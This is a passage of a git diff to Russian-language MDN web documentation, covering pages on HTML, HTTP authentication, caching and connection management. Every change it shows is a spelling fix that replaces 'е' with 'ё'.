            DOM-Атрибут activeElement и DOM-метод hasFocus() помогают отслеживать и контролировать взаимодействие пользователя с элементами на веб-странице.
            Предварительная загрузка контента с помощью rel="preload"
            -
            Значение preload атрибута {{htmlattrxref("rel", "link")}} элемента {{htmlelement("link")}} позволяет писать декларативные fetch-запросы в HTML {{htmlelement("head")}}, указывая ресурсы, которые потребуются вашим страницам сразу после загрузки и, следовательно, которые вы хотите начать предварительно загружать на раннем этапе жизненного цикла страницы, прежде чем браузером запустится основной механизм рендеринга (отрисовки). Это гарантирует, что они станут доступными раньше и с меньшей вероятностью заблокируют первый рендеринг страницы, что приведет к улучшению производительности. В этой статье приведено начальное руководство по работе с preload (предзагрузкой).
            +
            Значение preload атрибута {{htmlattrxref("rel", "link")}} элемента {{htmlelement("link")}} позволяет писать декларативные fetch-запросы в HTML {{htmlelement("head")}}, указывая ресурсы, которые потребуются вашим страницам сразу после загрузки и, следовательно, которые вы хотите начать предварительно загружать на раннем этапе жизненного цикла страницы, прежде чем браузером запустится основной механизм рендеринга (отрисовки). Это гарантирует, что они станут доступными раньше и с меньшей вероятностью заблокируют первый рендеринг страницы, что приведёт к улучшению производительности. В этой статье приведено начальное руководство по работе с preload (предзагрузкой).
            @@ -77,7 +77,7 @@ translation_of: Web/HTML
            Справка по HTML
            -
            HTML состоит из элементов, каждый из которых может быть изменен некоторым количеством атрибутов. HTML-документы связаны между собой ссылками.
            +
            HTML состоит из элементов, каждый из которых может быть изменён некоторым количеством атрибутов. HTML-документы связаны между собой ссылками.
            Справка по HTML-элементам
            Просмотр списка всех {{glossary("Element", "элементов")}} {{glossary("HTML")}}.
            Справка по HTML-атрибутам
            @@ -91,7 +91,7 @@ translation_of: Web/HTML
            Поддержка медиа-форматов с помощью HTML-элементов audio и video
            Элементы {{HTMLElement("audio")}} и {{HTMLElement("video")}} позволяют вам воспроизводить аудио и видео. Эти элементы предоставляют браузерную альтернативу аналогичным возможностям, которые есть в Adobe Flash и других плагинах.
            Виды HTML-контента
            -
            HTML состоит из нескольких видов контента, каждый из которых разрешено использовать в определенных контекстах и запрещено в других. Так же, у каждого есть набор других категорий контента, которые они могут содержать, и элементы, которые могут или не могут использоваться в них. Это руководство по таким категориям.
            +
            HTML состоит из нескольких видов контента, каждый из которых разрешено использовать в определённых контекстах и запрещено в других. Так же, у каждого есть набор других категорий контента, которые они могут содержать, и элементы, которые могут или не могут использоваться в них. Это руководство по таким категориям.
            Режим совместимости и стандартный режим
            Историческая справка по режиму совместимости и стандартному режиму.
            diff --git a/files/ru/web/html/inline_elements/index.html b/files/ru/web/html/inline_elements/index.html index 86db377c64..5fa033a73e 100644 --- a/files/ru/web/html/inline_elements/index.html +++ b/files/ru/web/html/inline_elements/index.html @@ -16,7 +16,7 @@ original_slug: Web/HTML/Строчные_Элементы

            HTML

            -
            <p>Этот элемент <span>span</span> строчный; цвет его фона изменен, чтобы показать начало и конец элемента.</p>
            +
            <p>Этот элемент <span>span</span> строчный; цвет его фона изменён, чтобы показать начало и конец элемента.</p>

            CSS

            diff --git a/files/ru/web/html/using_the_application_cache/index.html b/files/ru/web/html/using_the_application_cache/index.html index 2ed99d36b9..89a4a71d52 100644 --- a/files/ru/web/html/using_the_application_cache/index.html +++ b/files/ru/web/html/using_the_application_cache/index.html @@ -35,11 +35,11 @@ original_slug: Web/HTML/Использование_кэширования_при

            Ниже приведено более подробное описание процесса загрузки документов и обновления кэша приложения:

              -
            1. Когда браузер посещает страницу со включенным атрибутом manifest и кэша приложения не существует, браузер загружает документ, а затем получает все пункты файла манифеста, создавая тем самым первую версию кэша приложения.
            2. +
            3. Когда браузер посещает страницу со включённым атрибутом manifest и кэша приложения не существует, браузер загружает документ, а затем получает все пункты файла манифеста, создавая тем самым первую версию кэша приложения.
            4. Последующие посещения данной страницы приводят к загрузке документа и других ресурсов, указанных в файле манифеста, уже из кэша приложения (не с сервера). К тому же браузер также посылает событие checking объекту window.applicationCache и получает файл манифеста в соответствии с правилами кэширования HTTP.
            5. Если текущая закешированная копия манифеста совпадает со скачанной, браузер посылает событие noupdate объекту applicationCache, завершая процесс обновления. Обратите внимание, если вы изменили закешированные ресурсы на стороне сервера, вам также необходимо изменить и файл манифеста, тем самым давая браузеру знать, какие из ресурсов нужно получить повторно.
            6. Если файл манифеста изменился, то все перечисленные в нём файлы, так же, как и добавленные в кэш с помощью вызова applicationCache.add(), попадают во временный кэш с учётом правил кэширования HTTP. Во время обновления каждого файла в этом временном кэше браузер посылает событие progress объекту applicationCache. Если происходит ошибка, браузер посылает событие error, а обновление прекращается.
            7. -
            8. Как только успешно получены все файлы, они автоматически отправляются в настоящий оффлайн-кэш, а объекту applicationCache посылается событие cached. Поскольку документ уже был загружен в браузер из кэша, обновленный документ не перерисуется, пока страница не будет перезагружена (неважно как, вручную или программно).
            9. +
            10. Как только успешно получены все файлы, они автоматически отправляются в настоящий оффлайн-кэш, а объекту applicationCache посылается событие cached. Поскольку документ уже был загружен в браузер из кэша, обновлённый документ не перерисуется, пока страница не будет перезагружена (неважно как, вручную или программно).

            Место хранения и очистка оффлайн-кэша

            В Chrome оффлайн-кэш можно очистить, выбрав «Очистить историю...» в настройках или перейдя на адрес chrome://appcache-internals/. У Safari также есть похожий пункт «Очистить кэш» в настройках, но для этого также может  понадобиться перезапуск браузера.

            diff --git a/files/ru/web/http/authentication/index.html b/files/ru/web/http/authentication/index.html index 8896a66039..4455fff42a 100644 --- a/files/ru/web/http/authentication/index.html +++ b/files/ru/web/http/authentication/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Авторизация ---
            {{HTTPSidebar}}
            -

            HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространенной схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с ее использованием.

            +

            HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространённой схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с её использованием.

            Общий механизм HTTP авторизации

            @@ -24,9 +24,9 @@ original_slug: Web/HTTP/Авторизация

            Этот же механизм запроса и ответа может быть использован для прокси-авторизации. В таком случае ответ посылает промежуточный прокси-сервер, который требует авторизации. Поскольку обе формы авторизации могут использоваться одновременно, для них используются разные заголовки и коды статуса ответа. В случае с прокси, статус-код запроса {{HTTPStatus("407")}} (Proxy Authentication Required) и заголовок {{HTTPHeader("Proxy-Authenticate")}}, который содержит хотя бы один запрос, относящийся к прокси-авторизации, а для передачи авторизационных данных прокси-серверу используется заголовок {{HTTPHeader("Proxy-Authorization")}}.

            -

            Доступ запрещен

            +

            Доступ запрещён

            -

            Если (прокси) сервер получает корректные учетные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} Forbidden. В отличии от статус кода {{HTTPStatus("401")}} Unauthorized или {{HTTPStatus("407")}} Proxy Authentication Required, аутентификация для этого пользователя не возможна.

            +

            Если (прокси) сервер получает корректные учётные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} Forbidden. В отличии от статус кода {{HTTPStatus("401")}} Unauthorized или {{HTTPStatus("407")}} Proxy Authentication Required, аутентификация для этого пользователя не возможна.

            Аутентификация с помощью изображений

            diff --git a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html index debd21c8bf..279ebe5439 100644 --- a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html +++ b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html @@ -140,14 +140,14 @@ urn:ietf:rfc:7230
            Parameters
            -
            ?key1=value1&key2=value2 - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделенных символом & . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчет параметров, и единственный надежный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.
            +
            ?key1=value1&key2=value2 - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделённых символом & . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчёт параметров, и единственный надёжный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.

            Фрагмент

            Anchor
            -
            #SomewhereInTheDocument - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру  указание показать содержимое с определенного места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе браузер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.
            +
            #SomewhereInTheDocument - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру  указание показать содержимое с определённого места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе браузер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.

            Заметки по использованию

            diff --git a/files/ru/web/http/basics_of_http/index.html b/files/ru/web/http/basics_of_http/index.html index 415e4b9a5d..6bc0c3bc46 100644 --- a/files/ru/web/http/basics_of_http/index.html +++ b/files/ru/web/http/basics_of_http/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Basics_of_HTTP ---
            {{HTTPSidebar}}
            -

            HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путем создания новых HTTP-методов или заголовков.

            +

            HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путём создания новых HTTP-методов или заголовков.

            Статьи

            @@ -20,7 +20,7 @@ translation_of: Web/HTTP/Basics_of_HTTP
            Эволюция HTTP
            HTTP был создан в начале 1990-х годов и несколько раз был расширен. Эта статья даёт обзор его истории и описывает HTTP/0.9, HTTP/1.0, HTTP/1.1, и современный HTTP/2, а также незначительные нововведения представленные в последние несколько лет.
            Обсуждение версии HTTP
            -
            Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счете перейти на более новую версию протокола. 
            +
            Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счёте перейти на более новую версию протокола. 
            Resources and URIs
            A brief introduction of the notion of resources, identifiers, and locations on the Web.
            Identifying resources on the Web
            diff --git a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html index 1b9703c33d..7ed2a10da0 100644 --- a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html +++ b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types ---
            {{HTTPSidebar}}
            -
            Здесь представлен исчерпывающий список типов MIME, соотнесенных с типами документов и отсортированных по расширению.
            +
            Здесь представлен исчерпывающий список типов MIME, соотнесённых с типами документов и отсортированных по расширению.
            diff --git a/files/ru/web/http/caching/index.html b/files/ru/web/http/caching/index.html index 9e6efe7d3e..d292181c07 100644 --- a/files/ru/web/http/caching/index.html +++ b/files/ru/web/http/caching/index.html @@ -11,13 +11,13 @@ original_slug: Web/HTTP/Кэширование ---
            {{HTTPSidebar}}
            -

            Производительность веб-сайтов и приложений можно значительно повысить за счет повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой трафик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.

            +

            Производительность веб-сайтов и приложений можно значительно повысить за счёт повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой трафик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.

            Различные виды кеширования

            -

            Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передается быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.

            +

            Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передаётся быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.

            -

            Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надежности, производительности и масштабируемости веб-сайтов и веб-приложений.

            +

            Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надёжности, производительности и масштабируемости веб-сайтов и веб-приложений.



            @@ -27,7 +27,7 @@ original_slug: Web/HTTP/Кэширование

            Приватный (private) кеш браузера

            -

            Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперед, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.

            +

            Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперёд, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.

            Общий (shared) прокси-кеш

            @@ -35,7 +35,7 @@ original_slug: Web/HTTP/Кэширование

            Цели кеширования

            -

            Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохраненные ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.

            +

            Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохранённые ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.

            Первичный ключ состоит из метода запроса и запрашиваемого URI (зачастую используется только URI, поскольку целью кеширования являются только GET-запросы). Вот примеры того, что обычно записывается в кеш:

            @@ -49,7 +49,7 @@ original_slug: Web/HTTP/Кэширование -

            Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано ниже, в разделе, посвященном заголовку {{HTTPHeader("Vary")}}.

            +

            Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано ниже, в разделе, посвящённом заголовку {{HTTPHeader("Vary")}}.

            Управление кешированием

            @@ -89,23 +89,23 @@ Cache-Control: public

            Проверка актуальности

            -

            При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истекшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе Валидация кеша.

            +

            При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истёкшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе Валидация кеша.

            Cache-Control: must-revalidate

            Заголовок Pragma

            -

            {{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надежной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.

            +

            {{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надёжной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.

            -

            Свежесть сохраненной копии

            +

            Свежесть сохранённой копии

            -

            Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять.  Этот процесс называют вытеснением данных из кеша (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохраненной копии. До его истечения ресурс считается свежим (fresh), после — устаревшим (stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении ее срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все еще актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} Not Modified («не изменялось»), а тело ресурса не посылает, экономя тем самым трафик.

            +

            Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять.  Этот процесс называют вытеснением данных из кеша (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохранённой копии. До его истечения ресурс считается свежим (fresh), после — устаревшим (stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении её срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все ещё актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} Not Modified («не изменялось»), а тело ресурса не посылает, экономя тем самым трафик.

            Вот пример того, как протекает этот процесс при использовании совместного кеша прокси:

            Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

            -

            Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берется равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified.  Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.
            +

            Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берётся равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified.  Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.
            Время устаревания (expirationTime) вычисляется следующим образом:

            expirationTime = responseTime + freshnessLifetime - currentAge
            @@ -115,9 +115,9 @@ Cache-Control: public
             
             

            Обновление статических ресурсов (Revved resources)

            -

            Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование дает больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.

            +

            Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование даёт больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.

            -

            Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал revving[1], что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечет за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.

            +

            Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал revving[1], что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечёт за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.

            Этот метод имеет дополнительное достоинство: одновременное обновление двух кешированных ресурсов не приводит к ситуации, при которой устаревшая версия одного ресурса используется вместе новой версией другого. Это очень важно для сайтов с взаимосвязанными файлами стилей CSS или JS-скриптов — связь может возникнуть, например, из-за ссылок на одни и те же элементы HTML-страницы.

            @@ -133,7 +133,7 @@ Cache-Control: public

            Заголовки ETag

            -

            Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет ее значение. Если в ответе присутствует заголовок ETag, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.

            +

            Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет её значение. Если в ответе присутствует заголовок ETag, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.

            Заголовок ответа {{HTTPHeader("Last-Modified")}} можно использовать в качестве слабого валидатора. Слабым он считается из-за того, что имеет 1-секундное разрешение. Если в ответе присутствует заголовок Last-Modified, то для валидации кешированного документа клиент может выводить в запросах заголовок  {{HTTPHeader("If-Modified-Since")}}.

            @@ -143,7 +143,7 @@ Cache-Control: public

            Заголовок HTTP-ответа {{HTTPHeader("Vary")}} определяет, как по заголовкам будущих запросов понять, может ли быть использована копия из кеша, или нужно запросить новые данные у сервера.

            -

            Если кеш получает запрос, который можно удовлетворить сохраненным в кеше ответом с заголовком Vary, то использовать этот ответ можно только при совпадении всех указанных в Vary полей заголовка исходного (сохраненного в кеше) запроса и нового запроса.

            +

            Если кеш получает запрос, который можно удовлетворить сохранённым в кеше ответом с заголовком Vary, то использовать этот ответ можно только при совпадении всех указанных в Vary полей заголовка исходного (сохранённого в кеше) запроса и нового запроса.

            The Vary header leads cache to use more HTTP headers as key for the cache.

            diff --git a/files/ru/web/http/connection_management_in_http_1.x/index.html b/files/ru/web/http/connection_management_in_http_1.x/index.html index 4b75db2059..7b27e036fe 100644 --- a/files/ru/web/http/connection_management_in_http_1.x/index.html +++ b/files/ru/web/http/connection_management_in_http_1.x/index.html @@ -19,27 +19,27 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x

            В HTTP/2 внесены дополнительные модели управления соединением.

            -

            Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (hop-by-hop) а не "конец-к-концу"  (end-to-end). Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлеченные в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются пошаговыми заголовками, значения которых могут изменяться промежуточными узлами.

            +

            Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (hop-by-hop) а не "конец-к-концу"  (end-to-end). Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлечённые в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются пошаговыми заголовками, значения которых могут изменяться промежуточными узлами.

            Краткосрочные соединения (Short-lived connections)

            Исходной моделью в HTTP, в HTTP/1.0 она же является моделью по умолчанию, являются краткосрочные соединения (short-lived connections). Для каждого HTTP запроса используется отдельное соединение; это означает, что "рукопожатие" TCP происходит перед каждым из запросов HTTP, идущих один за другим.

            -

            TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или теплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.

            +

            TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или тёплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.

            Данная модель является моделью по умолчанию в HTTP/1.0 (при отсутствии заголовка {{HTTPHeader("Connection")}}, или когда его значением является close). В HTTP/1.1 такая модель используется только если заголовок {{HTTPHeader("Connection")}} посылается со значением close.

            -

            Если речь не идет об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.

            +

            Если речь не идёт об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.

            Постоянные соединения

            -

            Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (теплое соединение). Для решения этих проблем была разработана концепция постоянного соединения (persistent connection), еще до появления HTTP/1.1. Его также называют соединением keep-alive.

            +

            Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (тёплое соединение). Для решения этих проблем была разработана концепция постоянного соединения (persistent connection), ещё до появления HTTP/1.1. Его также называют соединением keep-alive.

            -

            Постоянным называют соединение, которое остается открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остается открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).

            +

            Постоянным называют соединение, которое остаётся открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остаётся открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).

            -

            У постоянных соединений есть свои недочеты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.

            +

            У постоянных соединений есть свои недочёты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.

            Соединения HTTP/1.0 по умолчанию не являются постоянными. Для превращения их в постоянные надо присвоить заголовку {{HTTPHeader("Connection")}} значение, отличное от close - обычно retry-after.

            @@ -51,17 +51,17 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x

            Конвейерная обработка HTTP в современных браузерах не активирована по умолчанию:

              -
            • Прокси с багами все еще встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагностировать.
            • -
